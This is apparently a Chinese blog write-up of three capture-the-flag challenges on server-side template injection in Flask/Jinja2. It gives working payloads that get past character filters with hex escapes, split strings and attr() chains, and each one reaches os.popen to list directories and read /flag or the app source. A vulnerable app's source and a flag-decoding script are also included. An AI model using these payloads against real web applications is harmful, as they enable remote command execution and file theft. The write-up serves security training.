Week14 WriteUp
python ssti
前面的登录页面没有什么用,直接用快捷键查看网页源代码,发现注释里有相应链接,前往即可.
过滤了两个连续的大括号、下划线、双引号和一部分单词. 因此使用{%print ...%}
+中括号+单引号+\x5f
绕过,cat
改为tac
.
用GET
方法传入参数name
.
{%print ()['\x5f\x5fcla''ss\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubcla''sses\x5f\x5f']()[207]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['\x5f\x5fbuil''tins\x5f\x5f']['ev''al']('\x5f\x5fimp''ort\x5f\x5f(\'os\').popen(\'ls /\').read()')%}
Source:题库
flask
看源码提示要进/admin
,然而末尾必须以.js?
结束. 那么可以通过查询字符串的方式访问这个页面.
http://***/admin?.js?
提示传入name
参数,根据题目名字不难看出存在ssti漏洞. 尝试{{3*3}}
返回9,证明了上述猜测.
尝试一下发现禁止了__
、subclasses
、builtins
和[
的使用,于是尝试利用attr
加引号分隔绕过.
{{()|attr('_''_class_''_')|attr('_''_base_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(186)|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')('_''_buil''tins_''_')|attr('_''_getitem_''_')('eval')('_''_import_''_("os").popen("cat /flag").read()')}}
url:
http://***/admin?name={{()|attr(%27_%27%27_class_%27%27_%27)|attr(%27_%27%27_base_%27%27_%27)|attr(%27_%27%27_subcl%27%27asses_%27%27_%27)()|attr(%27_%27%27_getitem_%27%27_%27)(186)|attr(%27_%27%27_init_%27%27_%27)|attr(%27_%27%27_globals_%27%27_%27)|attr(%27_%27%27_getitem_%27%27_%27)(%27_%27%27_buil%27%27tins_%27%27_%27)|attr(%27_%27%27_getitem_%27%27_%27)(%27eval%27)(%27_%27%27_import_%27%27_(%22os%22).popen(%22cat%20/flag%22).read()%27)}}&.js?
Source:题库
非主流の名泩荿噐
输入{{3*3}}
,返回9,表明存在ssti
注入. 尝试发现_
、[
、]
、.
、'
被过滤. 于是使用attr
的方法绕过,并将_
用\x5f
代替、.
用\x2e
代替,获得payload
:
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(132)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("eval")("\x5f\x5fimport\x5f\x5f(\"os\")\x2epopen(\"ls /\")\x2eread()")}}
发现没有flag
文件,并且环境变量内也没有. 于是读一下该网页的源码:
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(132)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("eval")("\x5f\x5fimport\x5f\x5f(\"os\")\x2epopen(\"cat app\x2epy\")\x2eread()")}}
源码如下:
import random
from flask import Flask, render_template_string, render_template, request
import os
from itsdangerous import base64_encode
app = Flask(__name__)
app.config["SECRET_KEY"] = "徊想①嚸嚸の侵蝕涐の吢脏 漸漸占冇涐の甡掵。"
def encode(flag, key):
f = "".join(
chr((ord(flag[i]) + base64_encode(key)[i] - ord("a")) % 26 +
ord("a"))
if "a" <= flag[i] <= "z"
else chr(
(ord(flag[i]) + base64_encode(key)[i] - ord("0")) % 10 +
ord("0"))
if "0" <= flag[i] <= "9"
else flag[i]
for i in range(len(flag)))
return "".join(f[j * 3 + i] for i in range(3)
for j in range(int(len(f) / 3 + 0.5)))
file = open('/app/flag', 'r')
flag = file.read()
app.config["flag"] = encode(flag, app.config["SECRET_KEY"])
flag = ''
os.remove('/app/flag')
nicknames = [
"☆恨☆情☆缘_%s_☆恨☆情☆缘", "%s 莪κμ迩鈊疼", "%s ◇灬絯吇氣", "℡莪們吥蓜愛 %s ", "づ咔哇嗳咿の%s",
"%s, 封殺ろ皒 )(葬爱", "皇族♔%s♔皇族", "[♂+♂=♥]%s[♂+♂=♥]"
]
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
try:
p = request.values.get("nickname")
id = random.randint(0, len(nicknames) - 1)
if p != None:
if "." in p or "_" in p or "\"" in p:
return '存在非法字符'
return render_template_string(nicknames[id] % p)
except Exception as e:
print(e)
return "Exception"
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
可以发现flag
文件被加密处理之后存到了变量内. 于是读取一下变量:
{{config}}
发现加密具有周期性,于是尝试通过多次嵌套加密还原:
from itsdangerous import base64_encode
def encode(flag, key):
f = "".join(
chr((ord(flag[i]) + base64_encode(key)[i] - ord("a")) % 26 +
ord("a"))
if "a" <= flag[i] <= "z"
else chr(
(ord(flag[i]) + base64_encode(key)[i] - ord("0")) % 10 +
ord("0"))
if "0" <= flag[i] <= "9"
else flag[i]
for i in range(len(flag)))
return "".join(f[j * 3 + i] for i in range(3)
for j in range(int(len(f) / 3 + 0.5)))
key= "徊想①嚸嚸の侵蝕涐の吢脏 漸漸占冇涐の甡掵。"
flag='gdf388-02y133sf{u8-26y7-j8efc63enr8-g2gi0}'
for i in range(100000):
flag=encode(flag, key)
if(flag[:4]=="flag"):
print(flag)
print(encode(flag, key))
找到经过下次加密之后变为原来的字符串的值,即为flag.
--END--
我的博客: 𝟷𝙻𝚒𝚞
本文链接: https://www.cnblogs.com/AC1Liu/p/18568486
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!